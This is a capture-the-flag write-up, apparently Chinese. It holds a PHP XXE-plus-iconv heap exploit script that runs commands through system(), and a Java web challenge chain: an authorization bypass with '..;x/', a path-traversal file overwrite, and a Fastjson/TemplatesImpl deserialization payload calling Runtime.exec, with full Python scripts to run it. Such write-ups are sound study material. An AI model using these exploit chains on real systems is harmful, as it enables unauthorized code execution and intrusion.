symbols.setdefault(symbol.name, symbol.entry["st_value" ]) def pick (*names: str ) -> int : for name in names: if name in symbols: return symbols[name] raise RuntimeError(f"missing symbols: {names} " ) system = pick("__libc_system" , "system" ) malloc = pick("__libc_malloc" , "malloc" ) realloc = pick("__libc_realloc" , "realloc" ) return system, malloc, realloc def build_nested_filter_path (filters: list [str ], resource: str ) -> str : path = resource for stream_filter in filters: path = f"php://filter/{stream_filter} /resource={path} " return path def build_exploit_path (heap_base: int , libc_base: int , malloc_addr: int , system_addr: int , realloc_addr: int , command: str ) -> str : cs = 0x100 addr_heap = heap_base addr_free_slot = addr_heap + 0x20 addr_custom_heap = addr_heap + 0x0168 addr_fake_bin = addr_free_slot - 0x10 pad_size = cs - 0x18 pad = b"\x00" * pad_size pad = chunked_chunk(pad, len (pad) + 6 ) pad = chunked_chunk(pad, len (pad) + 6 ) pad = chunked_chunk(pad, len (pad) + 6 ) pad = compressed_bucket(pad) step1 = b"\x00" step1 = chunked_chunk(step1) step1 = chunked_chunk(step1) step1 = chunked_chunk(step1, cs) step1 = compressed_bucket(step1) step2_size = 0x48 step2 = b"\x00" * (step2_size + 8 ) step2 = chunked_chunk(step2, cs) step2 = chunked_chunk(step2) step2 = compressed_bucket(step2) step2_write_ptr = b"0\n" .ljust(step2_size, b"\x00" ) + p64(addr_fake_bin) step2_write_ptr = chunked_chunk(step2_write_ptr, cs) step2_write_ptr = chunked_chunk(step2_write_ptr) step2_write_ptr = compressed_bucket(step2_write_ptr) step3 = b"\x00" * cs step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = compressed_bucket(step3) step3_overflow = b"\x00" * (cs - len (BUG)) + BUG step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = compressed_bucket(step3_overflow) step4 = b"=00" + b"\x00" * (cs - 1 ) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = compressed_bucket(step4) step4_pwn = ptr_bucket( 0x200000 , 0 , 0 , 0 , addr_custom_heap, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , addr_heap, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , size=cs, ) step4_custom_heap = ptr_bucket(malloc_addr, system_addr, realloc_addr, size=0x18 ) command = f"{command} ; kill -9 $PPID" .encode() + b"\x00" command = command.ljust(0x140 , b"\x00" ) step4_use_custom_heap = qpe(command) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = compressed_bucket(step4_use_custom_heap) pages = ( step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + pad * 20 + step1 * 3 + step2_write_ptr + step2 * 2 ) resource = compress_raw(compress_raw(pages)) resource = f"data:text/plain;base64,{b64(resource).decode()} " filters = [ "zlib.inflate" , "zlib.inflate" , "dechunk" , "convert.iconv.L1.L1" , "dechunk" , "convert.iconv.L1.L1" , "dechunk" , "convert.iconv.L1.L1" , "dechunk" , "convert.iconv.UTF-8.ISO-2022-CN-EXT" , "convert.quoted-printable-decode" , "convert.iconv.L1.L1" , ] return build_nested_filter_path(filters, resource) def main () -> None : log("[*] base url:" , BASE_URL) log("[*] creds :" , f"{USERNAME} /{PASSWORD} " ) client = Client(BASE_URL) client.register_and_login() hostname = client.read_text("/etc/hostname" ).strip() if not hostname: raise RuntimeError("XXE file-read check failed" ) log("[+] XXE confirmed, hostname:" , hostname) regions = get_regions(client) heap_base = find_main_heap(regions) libc_region = find_libc_region(regions) log("[*] heap :" , hex (heap_base)) log("[*] libc map :" , hex (libc_region.start), libc_region.path) libc_blob = client.read_bytes(libc_region.path) with tempfile.NamedTemporaryFile(delete=False , suffix=".so" ) as temp: temp.write(libc_blob) libc_path = temp.name system_off, malloc_off, realloc_off = get_symbol_offsets(libc_path) os.unlink(libc_path) system_addr = libc_region.start + system_off malloc_addr = libc_region.start + malloc_off realloc_addr = libc_region.start + realloc_off log("[*] system :" , hex (system_addr)) log("[*] malloc :" , hex (malloc_addr)) log("[*] realloc :" , hex (realloc_addr)) outfile = randstr("f" ) command = f"/readflag > /var/www/html/uploads/{outfile} " path = build_exploit_path(heap_base, libc_region.start, malloc_addr, system_addr, realloc_addr, command) log("[*] outfile :" , outfile) log("[*] path len :" , len (path)) response = client.send_entity(path) log("[*] trigger :" , response.status_code) flag_url = f"{BASE_URL} /uploads/{outfile} " for attempt in range (12 ): time.sleep(1 ) result = requests.get(flag_url, timeout=8 ) body = result.text if result.ok and "<!doctype html>" not in body.lower() and body.strip(): log("[+] flag:" , body.strip()) return log(f"[*] poll {attempt:02d} : status={result.status_code} len={len (body)} " ) raise RuntimeError("failed to retrieve flag" ) if __name__ == "__main__" : main()
最终 flag XMCTF{b3b92468-fc18-4970-8042-33ee169072dc}
WEB_LFischl_polaris_oa 题目概览 创建用户,账密都是 123456
发现是普通用户,不能进行管理员操作,所以要找管理员账密或者提升到管理员权限的
接着用 hackbar 找一下信息,Cookie 中有JSESSIONID=46FED3B5FEDCA45CA7914EA97AAE3CA7 这一串信息,其他的信息比如_ga、_clck应该是容器的信息,因为开其他容器也都会有。
分析源码 admin.html 和 login.html 接下来看看源码吧,过一下这几个比较可疑的文件
这下面的 login.html 里的 javascript 代码也说明了存在user和admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 fetch ('/login' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : 'username=' + encodeURIComponent (username) + '&password=' + encodeURIComponent (password) }) .then (r => r.text ()) .then (data => { const parts = data.split ('|' ); if (parts[0 ] === 'success' ) { if (parts[1 ] === 'admin' ) { showResult ('登录成功,正在跳转...' , true ); setTimeout (() => { window .location .href = '/admin' ; }, 1000 ); } else { showResult ('登录成功,正在跳转...' , true ); setTimeout (() => { window .location .href = '/user' ; }, 1000 ); } } else { showResult (parts[1 ] || '登录失败' , false ); } }) .catch (e => showResult (e.message , false )); return false ; }
看看 admin.html,这里有文件上传,接口管理的功能,所以可能是找文件上传漏洞
admin.html 里的 javascript 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 let files = [];function uploadFile ( ) { const file = document .getElementById ('uploadFile' ).files [0 ]; if (!file) { showResult ('uploadResult' , '请选择文件' , false ); return ; } const formData = new FormData (); formData.append ('file1' , file); formData.append ('isEncrypt' , document .getElementById ('isEncrypt' ).checked ); formData.append ('maxSize' , '10485760' ); fetch ('/fileUpload?method=upload&maxSize=10485760' , { method : 'POST' , body : formData }) .then (r => r.text ()) .then (data => { if (data.startsWith ('error' )) { showResult ('uploadResult' , data, false ); } else { const parts = data.split ('|' ); files.push ({ id : parts[0 ], name : parts[1 ] }); updateFileList (); showResult ('uploadResult' , 'ID: ' + parts[0 ], true ); document .getElementById ('parseFileId' ).value = parts[0 ]; } document .getElementById ('uploadFile' ).value = '' ; }) .catch (e => showResult ('uploadResult' , e.message , false )); } function updateFileList ( ) { const list = document .getElementById ('fileList' ); list.innerHTML = files.map (f => '<div class="file-item"><strong>' + f.name + '</strong><br>ID: ' + f.id + '</div>' ).join ('' ); } function parseInterface ( ) { const id = document .getElementById ('parseFileId' ).value .trim (); if (!id) { showResult ('parseResult' , '请输入文件ID' , false ); return ; } fetch ('/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=parseService' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : 'args=[1,' + id + ']' }) .then (r => r.text ()) .then (data => { if (data.startsWith ('error' )) { showResult ('parseResult' , data, false ); } else { showResult ('parseResult' , '解析完成: ' + data, true ); document .getElementById ('opFileId' ).value = data; } }) .catch (e => showResult ('parseResult' , e.message , false )); } function getOpInfo ( ) { const id = document .getElementById ('opFileId' ).value .trim (); if (!id) { showResult ('opResult' , '请输入操作ID' , false ); return ; } fetch ('/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=deserializeData' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : 'args=[1,' + id + ']' }) .then (r => r.text ()) .then (data => { showResult ('opResult' , data, !data.startsWith ('error' )); }) .catch (e => showResult ('opResult' , e.message , false )); } function showResult (id, msg, success ) { const el = document .getElementById (id); el.className = 'result ' + (success ? 'success' : 'error' ); el.textContent = msg; el.style .display = 'block' ; }
分析代码可知:
上传文件的路径:/fileUpload?method=upload&maxSize=10485760
解析接口的路径:/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=parseService
查询或执行的路径: /ajax?method=ajaxAction&managerName=serviceManager&managerMethod=deserializeData
调查重点锁到/fileUpload、/ajax,但是目前的重点还是要adnim,不然还是说权限不足,但是这也说明了管理员功能入口存在,但管理员凭据不可得,那大概率要找鉴权绕过
所以得在看看其他的东西,在源码的这几个路径下的东西可以看看。
看.class文件 由于是.class文件这个得用 16 进制编辑器来看
16 进制编辑器看不方便,所以让 ai 写了个转换为 txt 的脚本,转换的 txt 中间可能会有乱码,但是不影响
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import argparseimport subprocessfrom pathlib import Pathdef discover_class_name (classes_root: Path, class_file: Path ) -> str : rel = class_file.relative_to(classes_root) return "." .join(rel.with_suffix("" ).parts) def render_class (classes_root: Path, class_name: str ) -> str : cmd = [ "javap" , "-classpath" , str (classes_root), "-p" , "-c" , "-l" , "-constants" , class_name, ] proc = subprocess.run( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True , encoding="utf-8" , errors="replace" , check=False , ) if proc.returncode != 0 : raise RuntimeError(proc.stderr.strip() or f"javap failed for {class_name} " ) return proc.stdout def main () -> int : parser = argparse.ArgumentParser( description="Convert .class files under a classes directory into readable text with javap." ) parser.add_argument( "classes_root" , help =r"Root directory containing compiled classes, e.g. C:\path\BOOT-INF\classes" , ) parser.add_argument( "-o" , "--output" , help ="Output directory. Defaults to <classes_root>_txt next to the input directory." , ) parser.add_argument( "--filter" , default="*.class" , help ="Glob filter relative to classes_root, default: *.class" , ) args = parser.parse_args() classes_root = Path(args.classes_root).resolve() if not classes_root.exists(): raise SystemExit(f"classes_root not found: {classes_root} " ) output_dir = ( Path(args.output).resolve() if args.output else classes_root.parent / f"{classes_root.name} _txt" ) output_dir.mkdir(parents=True , exist_ok=True ) class_files = sorted (classes_root.rglob(args.filter )) class_files = [p for p in class_files if p.is_file() and p.suffix == ".class" ] if not class_files: raise SystemExit("no .class files found" ) converted = 0 failed = [] for class_file in class_files: class_name = discover_class_name(classes_root, class_file) rel = class_file.relative_to(classes_root).with_suffix(".txt" ) target = output_dir / rel target.parent.mkdir(parents=True , exist_ok=True ) try : target.write_text(render_class(classes_root, class_name), encoding="utf-8" ) converted += 1 except Exception as exc: failed.append((class_name, str (exc))) print (f"converted: {converted} " ) print (f"output : {output_dir} " ) if failed: print (f"failed : {len (failed)} " ) for class_name, err in failed[:20 ]: print (f" - {class_name} : {err} " ) return 1 return 0 if __name__ == "__main__" : raise SystemExit(main())
AuthController.class 看下AuthController.class,部分重要源码如下(转换为了AuthController.txt) :
普通用户登录成功后写入session的逻辑是这一段,判断依据是明显的有admin和role字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public java.lang.String login(java.lang.String, java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse); Code: 9: ldc #5 // String YOUR_USERNAME_IS_HERE 11: aload_1 12: invokevirtual #6 // Method java/lang/String.equals:(Ljava/lang/Object;)Z 15: ifeq 78 18: ldc #7 // String YOUR_PASSWORD_IS_HERE 20: aload_2 21: invokevirtual #6 // Method java/lang/String.equals:(Ljava/lang/Object;)Z 24: ifeq 78 27: aload 5 29: ldc #8 // String user 31: aload_1 32: invokeinterface #9, 3 // HttpSession.setAttribute 37: aload 5 39: ldc #10 // String role 41: ldc #11 // String admin 43: invokeinterface #9, 3 // HttpSession.setAttribute 75: ldc #17 // String success|admin 77: areturn
问了 ai,ai 说这字节码可以直接直译为
1 2 3 4 5 6 7 if ("YOUR_USERNAME_IS_HERE" .equals(username)) { if ("YOUR_PASSWORD_IS_HERE" .equals(password)) { session.setAttribute("user" , username); session.setAttribute("role" , "admin" ); return "success|admin" ; } }
这说明了用户名必须等于YOUR_USERNAME_IS_HERE(源码里的 username,并非容器真实的),密码必须等于YOUR_PASSWORD_IS_HERE(源码里的 password,并非容器真实的),如果登录成功,session会写user=用户名和role=admin
普通用户登录成功后写入session的逻辑是这一段,判断依据是明显的有user和role字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 78: getstatic #18 // Field registeredUsers:Ljava/util/Map; 81: aload_1 82: invokeinterface #19, 2 // Map.containsKey 87: ifeq 161 90: getstatic #18 // Field registeredUsers:Ljava/util/Map; 93: aload_1 94: invokeinterface #20, 2 // Map.get 99: checkcast #21 // class java/lang/String 102: aload_2 103: invokevirtual #6 // String.equals 106: ifeq 161 109: aload 5 111: ldc #8 // String user 113: aload_1 114: invokeinterface #9, 3 // HttpSession.setAttribute 119: aload 5 121: ldc #10 // String role 123: ldc #8 // String user 125: invokeinterface #9, 3 // HttpSession.setAttribute 158: ldc #24 // String success|user 160: areturn
直译为(后面就省略了 txt 的内容了):
1 2 3 4 5 6 7 8 if (registeredUsers.containsKey(username) && registeredUsers.get(username).equals(password)) { session.setAttribute("user" , username); session.setAttribute("role" , "user" ); session.setMaxInactiveInterval(3600 ); log.info("User login: {}, sessionId: {}" , username, session.getId()); return "success|user" ; }
它会去registeredUsers里校验用户名和密码,成功后session写的是user=用户名``role=user
开放注册、把用户存进registeredUsers的逻辑对应这段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public String register (String username, String password, String confirmPassword) { if (username == null || username.trim().isEmpty()) { return "error|用户名不能为空" ; } if (password == null || password.length() < 6 ) { return "error|密码长度至少6位" ; } if (!password.equals(confirmPassword)) { return "error|两次密码不一致" ; } if ("YOUR_USERNAME_IS_HERE" .equals(username)) { return "error|该用户名已存在" ; } if (registeredUsers.containsKey(username)) { return "error|该用户名已存在" ; } registeredUsers.put(username, password); log.info("User registered: {}" , username); return "success|注册成功,请登录" ; }
这三段说明了基本的登录逻辑还有注册逻辑,登录后的权限标识就在 session 里,之后看看过滤的逻辑,即在 SecurityFilter.class 里
SecurityFilter.class 下面是翻译过的伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 public void doFilter (ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) resp; if (request.getDispatcherType() != DispatcherType.REQUEST) { chain.doFilter(request, response); return ; } String uri = request.getRequestURI(); if (uri.contains("../" ) || uri.contains("..;/" ) || uri.contains("%2e" ) || uri.contains("%2E" )) { response.setStatus(403 ); response.setContentType("text/html;charset=UTF-8" ); response.getWriter().write("Forbidden" ); return ; } if (uri.equals("/" ) || uri.equals("/index" )) { response.sendRedirect("/login" ); return ; } if (isPublicPath(uri)) { chain.doFilter(request, response); return ; } HttpSession session = request.getSession(false ); if (session == null || session.getAttribute("role" ) == null ) { if (isAjaxRequest(request)) { response.setContentType("text/html;charset=UTF-8" ); response.getWriter().print("error|未登录,请先登录" ); } else { response.sendRedirect("/login" ); } return ; } String role = (String) session.getAttribute("role" ); if ("admin" .equals(role)) { chain.doFilter(request, response); return ; } if (uri.startsWith("/user" )) { request.getRequestDispatcher(request.getServletPath()) .forward(request, response); return ; } if (isAjaxRequest(request)) { response.setContentType("text/html;charset=UTF-8" ); response.getWriter().print("error|权限不足,需要管理员权限" ); } else { response.sendRedirect("/user" ); } }
这也就说明了非管理员访问访问其他管理功能是拒绝的,就比如:
并且还 ban 了一些敏感路径../、..;/、%2e、%2E,但是没有拦下..;x/,所以可以 POST 这个/user/..;x/ajax,回显如下,说明已经请求到/ajax了
回顾一下,上传文件的路径:/fileUpload?method=upload&maxSize=10485760,解析接口的路径:/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=parseService,查询或执行的路径: /ajax?method=ajaxAction&managerName=serviceManager&managerMethod=deserializeData
又
1 2 3 method : 'POST' ,headers : { 'Content-Type' : 'application/x-www-form-urlencoded' },body : 'args=[1,' + id + ']'
所以构造,发现绕过成功了,打进了 parseService 真实业务逻辑
也可以上传文件了
随便上传个文件,发现也成功了
抓包进 yakit,发现文件名变了,说明文件名可能是随机数
ServiceManager.txt deserializeFile( )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private Object deserializeFile (long fileId) throws BusinessException { String filePath = getFileName(fileId); log.info("Attempting to deserialize file: {}" , filePath); File file = new File (filePath); if (!file.exists()) { log.error("File not found: {}" , filePath); throw new BusinessException ("文件不存在" ); } log.info("File found, size: {} bytes" , file.length()); ObjectInputStream in = null ; try { in = new ObjectInputStream (new FileInputStream (file)); Object obj = in.readObject(); return obj; } catch (Exception e) { log.error("Deserialization error:" + e.getMessage(), e); throw new BusinessException (e.getMessage()); } finally { if (in != null ) { in.close(); } } }
重点是
1 2 ObjectInputStream in = new ObjectInputStream (new FileInputStream (file));Object obj = in.readObject();
这个是把上传的文件当作 Java 序列化对象流来恢复对象,并尝试恢复出里面的对象,但如果这个文件是恶意构造的序列化 gadget 链,就可能在 readObject() 过程中触发命令执行,所以就可以试试 java 反序列化。
parseService( )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public Long parseService (Long recordId, Long fileId) throws BusinessException { File src = fileManager.getFile(fileId.longValue(), new Date ()); if (src == null || !src.exists()) { throw new BusinessException ("文件不存在" ); } File decrypted; try { decrypted = fileManager.getDecryptedTempFile(fileId.longValue()); } catch (IOException e) { throw new BusinessException (e.getMessage()); } List<InterfaceConfig> defs = InterfaceParser.parseDefinitions(decrypted); return Long.valueOf(serializationList(defs)); }
把上传的文件,变成服务端自己生成、合法存在、序列化格式的 _parsed 文件,并返回它的id
deserializeData( )
1 2 3 4 5 6 public void deserializeData (Long recordId, Long fileId) throws BusinessException { Object obj = deserializeFile(fileId.longValue()); if (obj != null ) { log.info("Data loaded for interface: {}" , recordId); } }
serializeData( ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public List<InterfaceConfig> serializeData (long fileId) throws BusinessException { List<InterfaceConfig> list = null ; File file = new File (getFileName(fileId)); if (!file.exists()) { log.error("File: {} is not exists!" , fileId); return null ; } ObjectInputStream in = null ; try { in = new ObjectInputStream (new FileInputStream (file)); list = (List<InterfaceConfig>) in.readObject(); } catch (Exception e) { log.error("Deserialization error:" + e.getMessage(), e); throw new BusinessException (e.getMessage()); } finally { if (in != null ) { in.close(); } } return list; }
getFileName( ):
1 2 3 4 5 6 private String getFileName (long fileId) { return SystemEnvironment.getUploadFolder() + File.separator + fileId + "_parsed" ; }
就是读 data/uploads/B_parsed
serializationList( )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private long serializationList (List<InterfaceConfig> list) throws BusinessException { if (list == null || list.isEmpty()) { return -1L ; } long newId = UUIDLong.longUUID(); ObjectOutputStream out = null ; File target = new File (getFileName(newId)); if (!target.getParentFile().exists()) { target.getParentFile().mkdirs(); } try { out = new ObjectOutputStream (new FileOutputStream (target)); out.writeObject(list); out.flush(); log.info("Serialization completed: {}" , target.getAbsolutePath()); } catch (Exception e) { log.error("Serialization error:" + e.getMessage(), e); throw new BusinessException (e.getMessage()); } finally { if (out != null ) { out.close(); } } return newId; }
这说明了服务端会新建一个随机 id B,用这个 id 生成目标文件B_parsed,把对象列表序列化写进去并返回 B
综上,ServiceManager.txt 的作用是上传文件 A,之后进行 parseService(A), 服务端解密 A 解析成对象列表,重新序列化到 B_parsed,返回 B, deserializeData(B),读取 B_parsed,再进行 ObjectInputStream.readObject()
测试一下
17757399882025730 就是新生成的 _parsed 文件对应的 id B
AjaxController.txt 1 2 String managerMethod = request.getParameter("managerMethod" );String args = request.getParameter("args" );
说明这个接口必须带managerMethod,还要带args。
分发逻辑:
1 2 3 4 5 6 7 8 9 if (managerMethod.equals("parseService" )) { result = handleParseService(args); } else if (managerMethod.equals("deserializeData" )) { result = handleDeserializeData(args); } else if (managerMethod.equals("serializeData" )) { result = handleSerializeData(args); } else { result = "error|未知方法" ; }
其中 parseService 是生成解析结果文件,deserializeData 是读取并反序列化这个结果文件,
handleParseService( ):
1 2 3 4 Long recordId = Long.parseLong(args[0 ]);Long fileId = Long.parseLong(args[1 ]);Long resultId = serviceManager.parseService(recordId, fileId);return String.valueOf(resultId);
args=[1,A] 里的第二个参数才是重点,返回值就是 ServiceManager.parseService( ) 的返回值
AjaxController.txt 的作用是负责把请求分发到 parseService / deserializeData
FileManager.txt saveFile( ):
1 2 3 4 byte [] data = readAllBytes(inputStream);if (encrypt) { data = simpleEncrypt(data); }
上传文件默认会被加密保存,所以上传的文件被存储的并不是明文
1 2 byte [] key = "THIS_IS_SECRET_KEY" .getBytes();out[i] = data[i] ^ key[i % key.length];
这个就是简单异或,后面服务端自己也能把它解回来
getDecryptedTempFile( ):
1 2 3 4 5 byte [] plain = readFileContent(fileId, true );...... File out = new File (tempDir, String.valueOf(fileId));write(plain, out); return out;
所以,FileManager.txt的作用是负责保存上传文件并且上传时自动加密,有需要时再解密出来
思路整理 触发链:payload.ser -> checkIsSign -> B_parsed -> deserializeData(B) -> readObject() -> gadget -> TemplatesImpl -> 恶意类 -> 执行命令
payload 1 2 3 4 5 6 7 public class PwnerXXXX extends AbstractTranslet { static { String cmd = ...; Runtime.getRuntime().exec(new String []{"/bin/sh" , "-c" , cmd}); } }
Java类一旦被加载,静态初始化块就会自动执行,里面这里就直接调用了Runtime.getRuntime().exec( ),可以执行任意命令,所以这样就十分危险。
1 2 3 4 5 6 7 8 9 10 11 12 private static Object createFastjson1 (String command) throws Exception { Object templates = createTemplatesImpl(command); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException bad = new BadAttributeValueExpException (null ); setFieldValue(bad, "val" , jsonArray); HashMap map = new HashMap (); map.put(templates, bad); return map; }
Fastjson1 对象图危险的原因是它在搭一个反序列化时会发生连锁调用的对象图
把这些部分连起来就是:
生成一个恶意类,类被加载时就会执行命令
把恶意类字节码塞进 TemplatesImpl,让它变成“会加载恶意类的容器”
再把 TemplatesImpl 塞进 Fastjson1 gadget 对象图,让反序列化时能一路触发到它
最后把整个对象图序列化成字节流,得到上传用的 payload 文件
手写个上传 payload 的代码,获得数字 C ,C 和 A 都是文件上传得到的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import reimport requestsurl = "http://8080-51c04a6d-a569-4efa-96b3-926e48c16bd5.challenge.ctfplus.cn" uploadurl = url + "/user/..;x/fileUpload?method=upload&maxSize=10485760" file = r"C:\Users\gaohang\Desktop\test\polaris\payload.ser" cookie = { "JSESSIONID" : "F73556994E5DC0CF502DE8E6024B2F6A" } def main (): with open (file, "rb" ) as f: files = { "file1" : ("payload.ser" , f, "application/octet-stream" ) } data = { "isEncrypt" : "true" , "maxSize" : "10485760" } resp = requests.post(uploadurl, cookies=cookie, files=files, data=data) print ("body:" , resp.text) if __name__ == "__main__" : main()
重新获得一下 A、B、C
A : 17757466281490253
B : 17757466652307848
C : 17757463715813479
用 C 覆盖 B_parsed,发现返回值是 0
触发 B_parsed 反序列化,但是是 null,这不一定代表这条路错误,因为其他数字直接报不存在文件,并且这只能说明业务返回值没正常出来,不代表命令没跑,接下来的操作就是找回显
为了方便操作提高效率,此时可以用 ai 把这 5 步整合在一起,这样就不用来回 CV 了,payload1.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 from pathlib import Pathimport reimport requestsbase_url = "http://8080-51c04a6d-a569-4efa-96b3-926e48c16bd5.challenge.ctfplus.cn" jsessionid = "F73556994E5DC0CF502DE8E6024B2F6A" payload_path = Path(__file__).resolve().parent / "payload.ser" seed_filename = "seed.txt" seed_content = b"seed" def extract_id (text: str ) -> int : match = re.search(r"id(?:\s*为|\s*=)?\s*(\d+)" , text) if match : return int (match .group(1 )) nums = re.findall(r"\d{8,}" , text) if len (nums) == 1 : return int (nums[0 ]) raise ValueError(f"unable to extract id from response: {text!r} " ) def upload_file (session: requests.Session, filename: str , content: bytes , content_type: str ) -> int : target_url = f"{base_url} /user/..;x/fileUpload?method=upload&maxSize=10485760" files = { "file1" : (filename, content, content_type), } data = { "isEncrypt" : "true" , "maxSize" : "10485760" , } resp = session.post(target_url, files=files, data=data, timeout=20 ) resp.raise_for_status() return extract_id(resp.text) def parse_service (session: requests.Session, seed_id: int ) -> int : target_url = f"{base_url} /user/..;x/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=parseService" resp = session.post(target_url, data={"args" : f"[1,{seed_id} ]" }, timeout=20 ) resp.raise_for_status() text = resp.text.strip() if not re.fullmatch(r"\d{8,}" , text): raise RuntimeError(f"parseService failed: {text} " ) return int (text) def overwrite_parsed (session: requests.Session, payload_id: int , parsed_id: int ) -> str : target_url = f"{base_url} /user/..;x/docController?method=checkIsSign" data = { "recordId" : "1" , "fileList" : f"{payload_id} $../../uploads/{parsed_id} _parsed" , } resp = session.post(target_url, data=data, timeout=20 ) resp.raise_for_status() return resp.text.strip() def trigger_deserialize (session: requests.Session, parsed_id: int ) -> str : target_url = f"{base_url} /user/..;x/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=deserializeData" resp = session.post(target_url, data={"args" : f"[1,{parsed_id} ]" }, timeout=20 ) resp.raise_for_status() return resp.text.strip() def main () -> None : if not payload_path.exists(): raise SystemExit(f"payload not found: {payload_path} " ) session = requests.Session() session.cookies.set ("JSESSIONID" , jsessionid) print ("[1/5] upload seed" ) a = upload_file(session, seed_filename, seed_content, "text/plain" ) print (f" A = {a} " ) print ("[2/5] parseService(A)" ) b = parse_service(session, a) print (f" B = {b} " ) print ("[3/5] upload payload" ) payload_bytes = payload_path.read_bytes() c = upload_file(session, payload_path.name, payload_bytes, "application/octet-stream" ) print (f" C = {c} " ) print ("[4/5] overwrite B_parsed with payload C" ) overwrite_resp = overwrite_parsed(session, c, b) print (f" checkIsSign response = {overwrite_resp} " ) print ("[5/5] trigger deserializeData(B)" ) trigger_resp = trigger_deserialize(session, b) print (f" deserializeData response = {trigger_resp} " ) print () print ("Summary" ) print (f"A(seedId) = {a} " ) print (f"B(parsedId) = {b} " ) print (f"C(payloadId) = {c} " ) print (f"Trigger body = {trigger_resp} " ) if __name__ == "__main__" : main()
之后这里读文件确实不知道怎么弄了,问 ai,ai 给我一个思路。思路是先让 payload 执行命令,之后把命令输出转成十六进制,每个十六进制字符写成一个文件,文件大小设置为nibble + 1,然后再通过 /fileUpload/info?fileId= 去读这些文件的 size,之后再把 size还原成十六进制字符,再拼接 hex 换回文本就可以得出回显的结果了。
读文件并还原的代码,payload2.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsbase_url = "http://8080-51c04a6d-a569-4efa-96b3-926e48c16bd5.challenge.ctfplus.cn" jsessionid = "F73556994E5DC0CF502DE8E6024B2F6A" base_id = 7666200000000 max_files = 512 session = requests.Session() session.cookies.set ("JSESSIONID" , jsessionid) hex_text = "" for i in range (max_files): file_id = base_id + i target_url = f"{base_url} /user/..;x/fileUpload/info?fileId={file_id} " resp = session.get(target_url, timeout=10 ) resp.raise_for_status() data = resp.json() if not data.get("success" ) or not data.get("exists" ): break size = int (data["size" ]) if size < 1 or size > 16 : break hex_text += "0123456789abcdef" [size - 1 ] print ("hex:" , hex_text)if len (hex_text) % 2 == 1 : hex_text = hex_text[:-1 ] text = bytes .fromhex(hex_text).decode("utf-8" , errors="replace" ) if hex_text else "" print ("text:" )print (text)
生成 payload.py 的代码加上这个命令输出转成十六进制的代码部分,虽然也是 ai 写的
